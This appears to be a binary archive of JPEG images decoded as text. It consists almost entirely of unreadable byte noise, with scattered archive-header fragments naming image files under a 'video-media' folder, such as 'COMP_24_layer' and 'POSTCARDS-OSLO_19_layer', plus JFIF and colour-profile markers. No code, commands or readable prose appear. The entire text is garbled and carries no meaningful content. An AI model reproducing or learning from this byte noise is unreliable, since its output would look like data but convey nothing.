HS"()=7]+c(mbSŢ08@ؙ^P&2C NZ4vVM'>6@ =wڗ=hFi*VM$B 8ZHG J͓qZ p*+GuΎ8mc{(mœuUY *g%EB- LȎ(ET0\#P&4}A~F^`!E'˱@yd`ƟKTߑM 8Qԟoq_1 1v[H=+2dg6wv6odqn M0lMt7hSF2$p!o ]+q)OEMdMZeS22{]AcȓXs[('>I%iY\,VN/"b4qbPRt\xg,jz>&<9b l$`dcŦDl۞%٤wиΓ")g.y2NObx{ OODwg<%E,$9\WLՎG%>]ǡrr]fǢÓ1>L:8~eǛ]̓+$d[}⬦ǃC,:-?s  !BՂNk. ðI}Rlf8GgZ6OLCnUl0Ɏ[ ]YMY 4 !kLa+p~G|akq `//uC}$nWbSN>{'*m8HJLӝOQ0*s q5#..op xpZ}W,!qGm&<YIX8&z1}NS2ZXoړ0Q'6>V\6`߈csp?%{Nn-! c |IfF}êʌrmYp$OBʝE$'^fAg:THvUS l:&qu!:A\|Ea(| =X ɚz Z| ˟3=qsh$Þ=3scXkOK赃Niv\ӇvcD-F77p~Z~T\mibџo8aTF M#asQHi GLaEbI@|,vu-xDB7q7GҼ<=n֓^6ʃmq\lP繱r6V Zt9f2￲eOMʠӍmM~\uَ^܆/>ϣ9PXӣwѕx4 vT,mlgxYbs%ai!IŝP!>:7x\8F 1 Uq W-t+tMPtġΰO㕗/&RI"dȑ2_iQ+eӚ{-t.qZu+otni DCڎ#'s*0r*,s yاV G#4B큵Am# LcqqNT"ã`$qzF|#k^ eӱPpg]l\f('9+ Fxh;;&X`fI^"fȴ<_AQAva[m\\>7NƸ~M1p&;쀞ܬ+gk搗H+ _D#f4^ΤgJ\qUγ(|ϮUgRax>T?wF.yԤ;7NQ$+N2;2-ۅ-t,9I$*peq_k",M)t1 vKz2O.#sGJ~1ّ! wU4vӥdm^K`tIZ7hcΈh<)b8yx?;Sԧs\[֒i9}K1h<-nx7F5aNe]6Ks•-*;e=M^6Y}{)5€HdR4ĈYOO;epdRD,FG9SjA@(4엕>\Sdz{;v3&洞Z{(8yyxp.$#dǒwJ/jJSpoETl ONJ \Y x£_ G'0\ʐ "S(ҵ'elQRL!If :[8Szu7!֝J' ?Z_VWc0n>d_W!m "Ǒ'QC=AM}qiO ̘%#Xz,yB[l#,lʽSn$-S&1 ,RJ~cϺ1N -'.G mR ɍdaQ͐JHsE(qLDE<j 9EAsfE&N U)3i-<)#)4R`[༶PbThL(陥YZL, ~O"MNw #}f۲'nU&LAJ36oRET!v}'ŒӰIi{ڴO*'3 @j~=?aZAvIEd8>A>p Ho<(upB.%tҩˀxWs]qH|.. G碹H LXtcU顼J%{)DIYdgnipb¯@S# Sv8caʇ’R)hIyxYI7Zv,81:_&֪/=*DYec' c&Jw:)\6VSZkR٦Mۇ$h#{'og? e$[?]`F#pH FVۂ -<'o *[=Vpgw\TuQ|4WDׅ]gS)S.' 6u49H9sta4F9-g*3m6a  JnY=MQ2(sH*#O@Idck:xHsL@Ň7]FdpXgFHwk NUS3w%If{@n-֎) u*/Շ-E;S- 5ش6hE.n R%J;Ul0H6_\Ӫ1}IE;+{ mX]U<1_c8rI6>f, ,K _FD ٍߕscG>{^48r@5\v# $1׹ yƶcvv.7&d;AS05 F+Gf<0{:+qs3m#)|;3 m4eN&7Su -M;vSH=xCxb,Uwa_Bq#kY+>W۝E7;2hy0;_ֱ_S)W"l[O%¹x&],| XVW=`h1܃ k3@̚6@vloڢ;uۦGus[TٌGbdň][re#v* XMA`jGA4`)TZ"iT |NGE;=50uzI NRK"v3#2`Fܮ7Xnq Ʃ;LJ@qJwzgX4:G[Xdfng{l8mpUֈ'c>ivVQNsf*lL9k ő++QgЇGa[P$zm>U&PO{]+TeƉ"Va,4kTأfo. P#@Wҡ8{,諤İnlR`4x=M(B~ǝy &@)`'qEP_3cmM=r#Գ:qI%h~7˜6M YLp}v*ݙJf6hvIy„axGQjt?ԙ 5sB`*ׇ&I;.3k0ʮc&޹4<זAM%-YFF9 Y>s1_gV:6.o0ހ+Δ1۴gf/Rĉd` ZؙlX0Z-Oٓ#X`(KsWDYiA692/Bb~Dt$9ڄG  VNCZpi0VYI?p\dTxaQ͇r8;TVh0Zre;r˹$5dLl  û]ėRk#$on~LmO0zV]#9-}l&=|6[M9 *_"';cm:]?-H9=U ix?QQu=7;=™>?mSAC<:"Q 쳗xgܐ8W~311 O$™I"\'ϛ{Vp/9Ȗ|\G[H^ K#EJ&PHO,YN'7''  38m5jW]ROL6+<BBOC(uj[ aND]TY6N" 4{\Vr.Kc,ULz~b)wuB-݂I]'*{4sj$o !:v6f;vR^G<&_ `=Н)3#K]S0yK&%f5M*,aq*}O]\fj$'!!Dܸ+=} ox\OUiaVy|GZ5g #Xj;\$W+GJ;:hHx GJɚ䅢c0I6ϞdjÒDP/;@IY(J0)IC䀦39 G7AT]Wu6cp['7|#j9/ܬΡd%<@m~^e=Sɐ4K4s ,s.1]':#d9aC3q<׷Rb+Sf$-hsʵ·ʒI:ϥV]ͅ;w(ЪR20?&gE˜Nq᧓e@|_>c6,Wl沭NEڈ춺x"tE{{PĞ93'01kl4ڙxZvYG*,q a\ -ÊL=S38ȚK[!XN3+|o 7k_Z#UV,2G7$0~C̔k lK&w[E˟hi1!*L\LAw)բ)㹤95~Q&. 2c'*L+>esmq )>F[#aXr^7i0- }A|hAIV暤Lc흫iY801âw<&4H3'χtbG5\{9Ok`|^ !E֋e`=NUFOa('֥qY~o;ߵQ1e{7n1cnfce(ëe9S٢%f 45.zXMvrcs7SOS%ձ0 d*F87۞<^62ImkYm=꺤{ED'&k.s"t8C6m-wӜ.&ҲвRC^41ǒ9FT\X<ɚӏ1g I v4r#h! oӺv+uis3sbkƵ@?(+6<0: ҭ#9ILб2[#>= ?d Y׸ujd=sɎ7z\oO`jf\fP-ڠ(\yMHf/?Skmu͏ʧu\N@pOG; eǵNJLD+v2T[QA~mA ɞss_#梱{*js!mmqso5!,PA{CcArrfK}{-+!.+a9G+ر͕.; v-;|tD|yky.&, nD(;=59hdwC3|EL]g o,.6~{Nlsnߕ&,VEG9XOţ<9!Xw4頒l:;M{lśɏ!UEMOvy{3iB)VqnLn_*-YlpI5eHfsrtoe΅G;[a;hgʏO6O,u <⽵4`YVrÓ1ʍ[/{Ěc0Nca 'ԴigcalOa)y`G0{GB/S% L]{S&~4XE{ wE8v;޶?/|2'8`PR5ƍ!ƎMA< aAf^1>u܃ͫQ>E.<>1;4CU^diz{ߵȰ|2Fv#6P< I:{QFM{\Z89*.\/5Y >}dG#D˸qLbd,I6;\)'J0q{h`W=ؚdgJhU?'2V ykH=TڜN4Oo&=;Ά,Rz+=إhKUBtnQ;C@,boFT?M׆FXJ6)"&n[jJG 4}_;G[df;$.fQl#7>9'Q_D@t*܆9 ] i((kO)0 i(f_I,C8UUlq$> ċi#[x{>M75U@z'c6i]han X[Mɕ>AXnWfi) qgӺQ;XY03gZWĞi!KXv{Z+0m`={-#q`bxJ6arW6G+D# ]~t8o-%VSzGt'h7L\lw9K5Sci26H֏gPңW$[cǕ⓴ 'o,4.#ѻh=~E3 tϲdc6\kts߳!df{IOfCd=nURI&~K ?1pv98X}S{|ic4W5{V6>s3^}M7]r\|C }ʽ֋0p?6ӲO^_X{h}6,nsGc/>N5ye"G۴_aj7;ȉLP:\bG+'k~ JHdߨV8Zl<3iM+c}L=w0Um8GE&a,vl"H*9 Y]Ig<ưG Rhqfd6y@8%FHɞfS}ʕlV[`CsF<1 2Pԇ#E g;Ɍ\d]O͊N L2Vs\6ߴ*]Tv,O$KKxNSFwEhXhh;"•Wl\/睹_OsG=x!v)#HE4XI0?pÒ#y T,m^tq .-0{xJ>Sr&h^X _l9\\{-UU7hY;Kd>Y4ɋ&HI{(9[p r5!6G}QBTh(-=Vk27?1\KOV+Yf[jEY:iTc7g mėWtP%a\N>QF׫AȬʏm5j.plU;Yr(Ŧ$e#쫈Ye yVBXB\ "≍:fɸxIAsF6@ޛB~,a٨`!ߕ>&V68TD {ޥKIGBc9Qs$r)tB+|RGQJJRey.ou*=M! ||\gjo=L=PuJ6.LǑ&Kr7j"-3`o%d&Ԧbv_ˋG^a "sϲWC>C X~%BT,4 ,s7HAǸUz%{N¼dyh&Ò28*vm,ϧ`8s¶yD(X8–o&Ώ*&qH `c߶wj|ƂyFʛ\ŭ=9 [$ L:n呴|N9]lr`0p5s~7Sd ]^ml2!k"W!<9';($ό[v8UzD3?#)R{3n;tyf#Ȯ1Ο$r>mc<*ʻ˃9{yhK;ęY5ނ{-.VX|~&kyf<qqQǑ˚9ꏅXc78wWZbksx5/?&ǎv4 p3% ǟb;_s䈒3ݓY\m:|GDeHgvX<9%C$pALےr%CtY;t7i2qInS$X5c1Z`jfF2x{Oqk{ue#h{oi2FB繡dWm?'HL9- 1 sJf63\ӋfDʇ/co`[;4<31ǞRǨ% 6FN6' f{K.7gLD^k>PQ\#G{&y3#C\&hzYs2 kCfLR|tҶYdKiW9Z\8-dw'r||%\V}s.LGD` 7WI$v?  g1-?_ ƅBo(*LB, |eAD`QyP4o71Lhz|X1yQ;s=͙Jѡ{hǚx3dƔXyD{!JүilG4B90Fj>\6~Swk ñ,39p g99[4V)^'+"Id>(2bl C+V;_"7(DII$#g [H\w<h7k O.5|y|RM)A]&F,(= Y6{DN UhPן,>\LvN[1>熸zAk6n3&3˽25n:8$VԢ >D(I#@X\Zڮ&bG<&7ϸ#~V e8GZpNRqaJa$D)d8uMY3j8i29xr{15#8.  "PL!~]07AݑjM^8* =bKxMw&ii4>&qȨ<ȕ<ۊcUB2'ֱ"'H j1ɖ+qE5ù)u=-{W6xqotB,_*ߺ6sgÔ"]NA'(x"|[)*ًeΗ:*:AE#0;.|v#lbqf3@R[oD)YFs9+Vt86y-R iDYLpzXGޑ׼Q#xvQ{,Os+0U%klrО ̃i EZjotN +Y~Do:t+ud `MP rlu[=fHlY%~*wrIJ,*8SDS;K1Xz׿꨼/Gjm<ɜMp;~e#jWًN _;{6zO_9̇c>8Vx.hi:XƒUlntRmNjxsds\Hc#%ћie3O<{b HoBpR3pLjJ޼fW A<hլ'2YTN9p&se`܇FBRkLaB2[#CARu`%g5"\HD-3DhSt5Vem\kc{.֕dCK\6HI[dg ΡT`F$% [ 1*͸Mr"FWvd7xS[6&h!xP+ )Rd8QgMj.r:gM(p ';"6왻s.!ĹTf)[eIqҳ:Z.#\#ͅyb;T<+%=|z(G /#9-fLMYVqcPMD`Rl(mAO'c p(q4h+*)DrA&{TP TlHJt.qe)cOň,\QkZ!xUL Spczvl?3$()} Ve:?Aor_O96s;f>YLp'T-Q3UJ]ǹLh0qhҍB9d9C#DLRAUN4\pPPwUUWj1 s I x,l OFҚ\xdRUwTe&'Ѳ{c6 _UI ;5P4dw*7/ ǭd..1QuwJFB#/쎥V˜g xf'R┑J#jY`rC;(yYYU^`YG0S B&Sʧs(sʩyzS$ܓ];C(L]ɋ%#4.$9Hr !z*Gt^Ot 2 {1'4ⱶ,גYiw +: , y !pږW:6ݚQW hM+i*ATop"]d>gQс Ts"W2@65)jBHBT'XQ6>ք%B V[NY|lKVM<4T2uMk X!}y߫1.{g&Q]wPزeى k 1T6KE= FDqpĹ=Z{lÒݎi}=>.oO$zL\na4JA'$a.OL>\hQ˒ ȉkv%z|a8zB;ZH=Qq]Uay{DscNմ)F%".4:hˌ{+5g84B@4_`/ o(l1:%zC40溨[>M9PEŎ8{.8$k 엢T=èTyz`1l\f֎U#M^lx 4/Y όQn 20gi1L,'YÍ\Xt\eC. D!!=XmzG'BlЌ} u^h%sVorZE|oX>c[ܞ?gK%s1G 8<QVs0]kFg6ԭcp0ݔNKe,"c뻲{2ˍ#Ä9aJWcVbؙSc1ÿ\3Cf p3qyoȋ"i`syoZKRHlmp`rJD-75kI]V[CGsc_Z)0u&$dy>RC]FӄɅ5:F~ISco牱ak7gW7 Y$PH#n\_FhY4~oMOfi9rwV[-FQ*i8jb!oSa &v=Vy#Xz O!'M n2[#\%]vC2[#!|DZ OȈ_>([u[b E9+ 6q }*gu7kM{wNyI è~^TD٤ XI3Afk9mx@U XEH(4# /!ZS̼M&fb_a.xgei<<: 6, *Y~GEqmQמ I Hֶ74,¸^c|NӲ2?vmZ4n&xFV?g={*go#P|>IKl]txf{G֛ƚ341G.>ޢIC+l*,d)@BbIDd cw` XEe*II*J켦[1?+AcnӋX3CEFՊ)0nUNLI ByJ II$ ^];Mu4rrV^C+@nHD3+4^)vE`v3I,c pSK-fҔ4)B˝!q#6֞R3 )RV!-Ra㲐MQv4Sۈ ;IּV4AģQ Dzl!oQM8%;M",TSoW[CЌqjmLq\9KEo$- hHK|4E~;7%U/'pLM qg<(8WrAB ֊d|D&z9`4ظQg:KT(h%l#[GUP쭣>N5t_<4'ಎyMMh:Kyۃp~pe?܅:Mv9ÀX$|-S2+Uk*,@:P.h.%W#<я 2ɛ{XJӞl#HԓrRnʴt;®"K{7N<^.4;YǥXt\i:iVDOkX@^|=•riRHi:'X% Z\GE.y#OKvdnqr>%eXGu2vz66C^5/! {v<~4,ZBC efݬ=Vf]IAcczC7f :f;%QG[~PlI荨ghl<"GX:Yl`z~:(: 6)ɐc*f##7=ڪϧMp'r./qˣGlexH#6;lC =1~\1[ hɾR Z8U,E^7]Tqi) s`C,w6\Y t<9c'FLkh93j 0;%Oψo<ѥ~$P98MK˗L%6QO鹱g6V8 @GcN}])g'7#u8Eڈ DdmН@Lψ.Z/ "PЬohMqIk4 ͓dLJ \ MmhGv6V /2`9쉦Ⱦ ^xy[ӡXgExo)ώ0ՠr)Fc+C`YOeON7URkY^!d{CCU̅I;}Ilŧ(wO4BLH#ƂY&Dqix s=-g ^.rA$U^D]I$~lrE,5=ؘ{-ǥ "Rѣ]tXpل^>DkIu;~kG^yXWGWu2 587iQ)ѤaZkcz|!sakw2r2k.=Z"q| g%##8]9︎^7l$e=9o?8'GFD@$pC&+ P 0-*3 2wWA})mrTyÎѽ][-5WY<,Yֽe&a{fsOђv* /9s ||{#9h{3/+Ngg,&z2Jַ$pbBEH%alw(Þo)i> Am rtGљ?֏L$:Y57E65 hZ#?+{A1{T,GnZ 39j*CV`BO.T-Rwl;*9虗|usB"lqQF2(TCW$JLg{ҵIn=R!ijӪ$\b?_i;Q!SbAsdgV8 GXF9TV{%>iq-YC#Fv#Y߸ZgrL`K]ՎN%)R% (Nr{"Xy8V+mS3(zc Her; ' CF9&]tUCˮ(B̦X3k>-H<񋑥xT|)qJ^6<@$c/ 0D()5Υwx*U"hY+\hK._D,GU5l疉͜sDz(W%u,L i3]!<ҋ6Mw;39<372od]tPB20%Jn`#Vy%H%g,F^ 8B鯺nA#/9GL4,+In^8*;wTÖѓCgHJBU)(w. 4l=˭6 ,:Q˺ޑr%?h+m@˞^ӆXxhI#SbPPs[n$$*=h5IY#Dt g4"+Pf;o((dش+e*D tv cp' <& %ꁀxOdќrԬv'8<=w|{_(iN6RUc(ℸZ6m m#)5KCع1E3ͪ&CIɢq/=LN*!GCqT8ɚ9rl-.63ǐ=ŕz;1X:xmdɊHnZ\ෲ'FfMQO:Y 2q_IVg&hpY׀9Z$rle9{"Xt|p05sn]FL̆0ӎ!aA*N|睡9J$ㄑuX;J]/L5p X-"@Uge4BMjIl3PfDJ 7E/n_dul{*c"; _%5h38.&9㢴NEWyx~뉮!:ujb, 'Z|Y+M@#oIʌtx.HlB<;L/ls43!{NY;e= 5,4M38BPO({]~f Ds[ڳTlƇ;t&AyPu !ehw&--Y):%gd1 leő3.؋aVAP k_ehVN60scɣlA㖗u$* cL`jt[5oE.I&G~5ol<M;8\&8l[}PM:EMlt<`cx!y8e汾C5K2F)8wZ+=c|?NyB^L82͉,{l}ߕA6u,RM!trFdעw2H:rIYH7&|z G9\q s^֯l kQ7ob K,zd|S |I1cdI)Wb pc&{r QcwzwNg),,$na]G$S"xnFv[dy7v< 66X.sVk;ͭ[>>腍)C\QBanq9[~9ΕÑ#*#H 5kyw裚eF2]6F(|+&<Uk1Yq#'ӵhs1õOEUh~A3O{*'IvcĀ h\hGEwe6(dƕS{ˊ>PԱeu ii16٧:!L =$/|Am E:jE,i6,F:B;8{%M䐡ˊZl.-R].$>E֟ (3鑝,3:';Bn?DTfMW y@$OipN:|OqGzagu{sjWG?ϐccCGI=»-cFOdB3/vB|?rf a<͍&*.j:0m9l942NTW;ydpW:32[HTGdCE`6Qupihk S0 spCmLyqw{3Xd8Š+K&04zgDW{9<$h P٤Bk C}uJTlrmѬPce&^6jp zuL&,U2XSE yLJ|qżnj͝:X8M)>FHǧKDxYc.& "0Cp}1IԒ U*rI W*II]$q]"6 Y %YV,Z"WԈ I\Z{c*=#$*piu+HMHű5vLˬ{'Cf0?%4谏({MeUiZO_)MQb'jN""I)>g:EYrxIvtf.(AJ &;)e~ԦƉc~V8+/41 Cku.;()7M^lR%V{^ #Bɓc =7T3<rWHqKh( 8]pS;r9UbBMWRP)Roڢ1JKCL "H#K"i)) ؏F )., qIE(ʋg:K 3s. --2-"ldo-r0,-B[=\nԩ Rq\,Z{kKerc,y8U"G<.l2f7qpW\❍wEDb 5&(oU+f3 f.GJ0i–}n= <.EeR C: R$ -f CIXɳv,!6 \'Z=4ddC:v ŒoU6RLcf@S1۸*Fn\/D4okkQüUsAFpkK-Ȋpzcuy0MDХĥ_v +,.Oaet!lQOZkE,7e¸v al{jӲḧ́ wz!@ҥ agʏԜP:e4;.0xVdhsБu]V2vnft>Fkx^.3\9 FǴPM3GxI.JJ7-{^dV~O rHiBJf`P1huHqوh֗7CsZvʤK\ҳ*/)SZuEopG9o /Ky!ώ|~`Q#iCbU܈p[M l f b"FzH쭨Qms=N#NB~V͡#~F_ N ʯ 2ǼuT%dMf\G8D("jY1yz,#u5ʼW0ٟi啬s=/yZl#B@38`]%._ HkE?Q.|"?" \YX,&{t.Qt poiϓoe:hW9*& &&tvs)H'saKbL\Ԝ)g|R~){R#hW¬,Ifӎ7$$i fis9m rk5QQW#-qLIz+$-=C#uV2M̜igqdN6NSDq;ɋ¨BrJ_ddepmjChuCU<)пyLƈ3:FGLm+>K},"HAo=_U.ٯ1$_+GJA`-ݸEtASS7Ŧ3\ #cq3.4Jg;&Wsnٛe>3uZ ٱmY\U=uD.Lk6}.>{WsvA?Ęd܂lΆ'HV;*K$ŏdYkP-s/X왭.<mrNԡ +y:BFD;".oDRfh' 4wN6aiDr(M{3OE"mH a̶@~) t3kYiQܩYz4S:}Ԭj8uSY%CEk?e#uP&8 cRJyϜwUyxYd?)Ɣ˼*Td]֎%"|NSћw* du qi8yW˺p.X G7ZƑZ9Ro $gT R`JLSd4XPx7ECEhUdwz:0."}ru q\.&ЙW .Y2'Ngjĸ )u'֐ШǩR\8*; =S&UhAJ:$'bK\ީ0DJZMFxNإl7iR!xSJEX-\}%F.;#G )Ǹ& H:]ܦˏf ljMR%<%i!<*Bx(0AaIe9R%.HBǴ@z'Z4rQ!ʄIhyhp[LY'qPNaVq0Y"Iw-BfZff }:ћy0H͕g$X .Z9rjf .Rp 2,d ɥ oU_%]ͥ=8)%s28k T{m9&]=cu(HvktNdyZ 3@w6l<ۙ#YU EhzsZB(.6nбMN`u ,~#5Evdx1cJP/*@ԙ-mQ3e1K GUu:tf4Oʇ>skB\d* M#/896y IwœS\)حÏlsA^1YyhqJFDٯs(3"'JV"|t9׍6y-uc;)VYCeg*^=]冶g dhP9@} Ey>}ڏeq-@F&ȔYzچe LBg? Ey!cckMU>&78Q 굚t<#ۛKF. &ҼCBq:79{~c&h};! $Х&xKC-#MR=5<15A#=./ї4ƻ6vp/ti{掎  '^$cw7,c=YA-DMN.'<B'INCrFlX:W:{pszZ\$J)E^xO"c΅2 Q> wH&^<էk|/8s1k)a-9#ͫul*21Mï2 #l`Ai5-sL7d2QW4g,[DopB6縯N4܀茁V'XoYJ&͇:ͩl{Bb#.ۻ(ʙg1b CfQ=-Wu0c,;^IVn԰3ݳ{qdUCVy#;ѬBѻʪ YL}O.\am@dMrhXS{'2?aPH*Qm-hҩ\=~YakM(|簞8[ȺfrMmWE#=)ap$RYԐJa#F޶0FEkÂ-v3yy\;\$q?V¸UrY,5kg!.;f7{V3̑*ީ/>&V1a++9e8<+MbmEZdryrǕwiUO'HWɕ!Վ<#aP5(pƧ:uL+:t#o&cHSDq YNCaŏ棓JW1iJ٥Ҳp^gqRsnPKj_E׎9h2>N5@ Wd&CTw!V1dt%%H.qc!O;o!F覇s3 [IϵTWKݦ {hL(JO08 )UYnЭ\7ISEUI k!> Və# x 3h]ߕ]iUSK\TS)m?['8r롹$&6J@x])QݜE,)h ])m.LGZ)+:칡P@ph\x]i(J:&c @ULnR#l.O?5>^uPNG,Ď8O a?\ϰHːޤST+9w7=JtAh@'4u.KHO !m=SuQ4 'JCC$ⓠKۂ)E$6BG :!wTLJ D,SR1P+}죠)` Hz%跨eq5 k̤E7Dp J ˽8>deuWh|-q{-♱g=\u-Zn;2O(<]kpKocO/pVsPR(;O< `>4"AFR!B^E~hҁwfBSEYn*\7萣iQYCh'"V6B:3+8a #R-.X&[J<:tƵfu `vҝ JHk8BǓ/wDI[ V5Udik2/ˏ?i;@2bXR٥^+1~[:#:d0Cku6ڏbK;xU!J8_Z$cWs*1CNp|v*鋝:8InZODTm$USdpI=pulr$.|26WUA["KԛFAo2n 4=ևNֵ0'`9B8N&֙ #2 f->u ˙%vj9@6;4|,ٱğ9L O֝b/׺Myd#;[O+bYۣ9,&|PI'WC]ƫ̘lF}j6\v3ERMK/SǃIiOA`󞖪t9%lA Xe ,.9T}PM>lh!o24RK*\_'(E>Dx_qzy Ts@!q[?il;Utytli6F=p{+q`ӫ2Yz~CL8p+wfM{4w濑g_FǠ #EvS|m{4_Dza9蕁 JN yky[jn&dsy~~s<ӇGSq#z|cf+h/-LDAd3>*pWh Ef,zΓ ^Ǵ/Thj8r蓼Xta4mz>ÚF~&vST-ei^T!*\pt 3V[U I p0̲ck= r 'l{21x?1#ܣZ92t|rT %<.9ma84ui6=XS, Io|=]tdq+mAXv[D91F ^=w)'*4}#6ZBgl;/) +l܁XzdUꚉ:j#iWG;sM_/͘u˒T }uqE:Zr& a7kiʌVDΑ,vK+WzSykO+:䥎>rB{͓jdex"oʀ㳪FXCuUvideo-media/COMP_24_layer-300x169.jpeg000060400000026431151724237330012776 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprt!1AQa"2q#4Br3R5$Cs6b'!1A"2QaqB ?t(0AktZay`V#P1VګhzQH &:Zvui@&:G궎hʠ&hVSڭ0heZyJȴU# tAZ:@v5SGELBQJ]RW6U˫-cvUAĸOzxҵf<2F#an+>w 滌0^<:Wլ.dGIN@'ۊYY}[Xە?+-෹l[F'濻$FA,OREen!%S𧷹YqwJ饶IcRŸOJ̒9uE,$^;>uQ.]~ -6[lMBdmFO&;V۩f VR:ln*޴ #ݱ̀ePrT3±Mvq\lu~[uȪLtJ@b[qT fH3Z;UMF5K% \ ҕ[GG8"( GU4tqJLd 1=ʠF1х***(x+mvW4} k Ytu,Cޟh1&YY})+^^2|~4f5݋Čy哦5C(aЊNJ!b@ W핪}Ek$*}+ZN['W2J)v h GH|G!1"k6QqY$Zȗ[nG4v wi@$ޞhR1nT=u>G1CW JlN?o$A8|d{u R\C|`06qiq* >P8Ϸ|{krȥr'[w.dEj6ֱot/*ckLV4Mޙ{jĄt 櫖*1Fd#I'jVWۂV&r@Qzaj(#߭ix~QV '#u#f-)۩P<f,,$ڪO5yVKI `0T l+J{:j1ЛGyjWbTGҚV Uzb~˷c ތ:> 1da@^`5hNa4Cs\+eK3s]C,4;wHTD?c42$϶t~VdUA]ݮ}ᛳu+ ދe%5$0KzJǞ2Fqttr)C$ \#< Ai$K)&&Uu Q&Um4QDnبr"T<x";2(&CT4xy-B;S#!nk%TPѦ.Z:&:Y=AZ֣/I\'e$# 2a!Eghͪ!;ŞR%t(Z}sqwʫ*⩏KԣK=켰MI,qYm[P׭|ßڏ jml!OGQr:H7q5(0T0ղj[4¿r>^ЭtF' cjMdq~JҴrWq9]ǜeP4Q!TtJ-"I^!jbYVip{Q2*mdE?&K"`+C%pό_J8\;sЬ%؇?4"U?~8eb?=Jw 2pQދke[Ų^U9O=wrzW@ѣ]LKH1+ M" n 4-B )('j^\˃Hx&9W\`Ǵrn!L;Goºо \WĞt!O;Oc ѣ>.)v{+ؒ0Qj[RS&G,sׁҿi?bjBE,OK/"ܑ4:B.Opu2aNj̮}[_Yb4L[?cղK<1@GLј~3cV+DJ\PMV/ c8x$+*' \S*9?*1[QgFDpsY"Wt5G.mrWkhjJ\8v4k1 K $@I-ŪhoɸXߺ/n|S#kh#kP.-GTӔer N/zgXVj;HkhRl&R<Ӗ'߃N^L},?fʍB@lQ^p& ކj!PGjtrF[LDJ=Z~cI"[LT1I yn.ަxzS?ԩP[l8 $esQ.&KNJiAbx1MREуFE]W /2(©-DjWem5׳]hY FdȻZVk ǭo)+gyپ#y&:;~&P9"J6Fg*Ǐ\;Kѿ̠e9|91Oj[,[uQvoNȫ#c(TA^wdáW_ z$c!kRyF3z$qG喡c9da~eoO58+.=} -_8Ұ; |=)3(t\q)s+mP#\[xӬ$ LVj4H*V'n4W2)v 1o5ˋ?:F_ڰ qݫv=$s[4Mc(VPYGcW+TLtv+!Jod3Wl-`@5,jC-D@J |}E1xRQ1e]"\#{ѡvܚQ(KЩ`-̫Օs⸎Y@Vk9͘o9m]/<-6 9^YS+nN+sEl3Uź\DѺ3R7AN0A#&Iާm8DWz} ~QȬQW[{{<V}+Y$nx(гivP#KKddFkQ? x֫{1$rh|?~j a+)8wW"ahL*c[X'=zm6C* 8?OO|P ,K|JF$!Dѡ/^wҠT׿FI#ؑ@ݑQP)m=_JIE[ m"-Kq^\Uדm12< ZeOTErOOk{Be ыaMՎ~ [y6R<ZEv^w;ג1X vXe|ӗ9n{VT|@"y 6*֢  K%YjV"x?5|d~fxB1fQn3Z١a9;Wjί}j~rGs I8޽i)dcp7_$=iB)[( n%/ҧVR@h7 7m\u&W/xiC Q ȪY,d | ] c2IA!Jka'Ne1)`ҽHt%qѢd,y.`4ygՔA I.diko{xҔ,B3^ybsGxͭ6m,ګ7$ZL]B+p1'~|Lt֭,0b=M k4QVׁ2l> Zd|op] qWhob(yIN@\vn#7Ȋ%If{w$L`!=WESwAwNkv dZ>ZjI<}QJ:MzƱm!s+c$]?Elj^sj X6?:`ՄwZ.ZHZՖ X#l+J'+H8XY]]6`PwȷEp=JDTMFD9'<Gmi_E,.I'vԃIЧcYq#WJG$ iDդsN٘Tc1;IҤ HFa=C,7[|.Jh]j6׋ ڮǶzSuqp3E?ްE_mČCZʽuyx s:i=ǒl`7 f5kNO[YD¹Eu咛q bR2tKdc z!7zLTs\PcX }o鉒Ub'- ^{cE%,{J(Z4e.cȯ[ab5 %,. Ƴ|?, d8S8ʐ7SQSk Q/Lҵ!}ViKŶ0ڋ4U+|YB]5G͕r/jE:~لKicX,?ZٱZ-"?OgxM Nys[vG0rj'NR!GZߤy;> 99ydm,;x9=+_}]-rsNy.- u2N9Km37y 2ͼدfK-1fpOSKGQsUL*TP9*sg5{Ybo01^;HlXw 2!׵9ADV徾EŰ)%n'q.Q>T4C]hoqRu ȉ!=?VL&ʳ꤂xr %@Fqq\2):\m2,I^?&YO&Y;/]%*nyarFO~tDgڰq(yF} ($PjڴJ2W~E$VE[Q=kC4rA$I'ּ__>$h8GrJOH(;$1]A鞘Mβ.7\:>K1r r=L] ph2ci9+}x:}M̒8?=ɤ;Mn[f"p :S\F,'%g|3e:aIeInFXmFhSBñj]D flqfa”=sI0T>N5?Ti]yd ) Hd?LVQ8^1K^o/ n23gN>?R6q4B6T` :}9 Zpռ v!1(Pjn6Hrs$h(П('R=);eI>;ZfYcqfv`v` ɸi!(hHz`h{J{+i̦!hYOytLVp5b\FQcRrh ʉ;MF-5K^9L֯%J (^Z%;tRgtDy5q|m*)I]7cva"Y'Iףݶ7E|Lrz zl">7A4>xs1Z#%'=kVR:˻E@E{Y\ NڒT>{)[)~ݣOHN=)[TKI+#&ǑMK'Ӿ︕e촷/&dPgǓYj(mkZ3H8Mߏ5K@\-FTM ~T _ٮ@Zyьd/r1C&[GT$ cwzV_mn6Asbj:EjXfICNh9ez΁sWmUkjgP p u&PGQ"=J43Mn:_7S9;*^ۤ{D cۈ7##>2p.D;圍a!ccc]\G& ݚ+Mё.%@6 N?bԞ;)!_/FxuْG76vPW?J9tjǚ5v ;ł`d1Lf"2ܱd@TC}A&:59Q}OA)|/1Pu1V3cuirbܩ$`n#1[fyat_kw_}I YNsȮo?uHcS O`($%iKf{gqg8nE*C!.6_zsb?韭PS2Qq߭Jݲv'F?ߕ S =΍2(o\nru-0 {(_oiq \\shLуq=ؠhݣA=p:º٩ok$9s˧-";`Jڹe#fE:78bv)YFWN( uh9'jV~~qw$Fe眎z':!s=q?OoOZ:4*9U 34KZCcvP3fFyUYt_𖁋5KG)\rr/j_?SU*E 뤹$ՌuR-ۼ'lcQS Z$Z׆Ölvideo-media/POSTCARDS-OSLO_19_layer-1536x864.jpeg000060400000407032151724237330014456 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprtc$n_[l:&?dLL8+ 8އ.S a$N/ʘ@뒣%``ޛ/cp'0t="k1<\Qę03UMh ʅ̱"qK+mp1~"s~daKGē~QM- eJabYC Qs9̓*(e0PnU3i"b[LjI3jQ"APU7[c4.RVN.w*ST7V)u\ eFI+FJZD9i(AhaIO}Qq2ǵz&GU+ivAU5\emte&fmS\̉XOI[s{]v]3=Zh`09<[ ӻrG SH*K`Y:h9uC4n2 :pҐA$2L98\m3ʃb 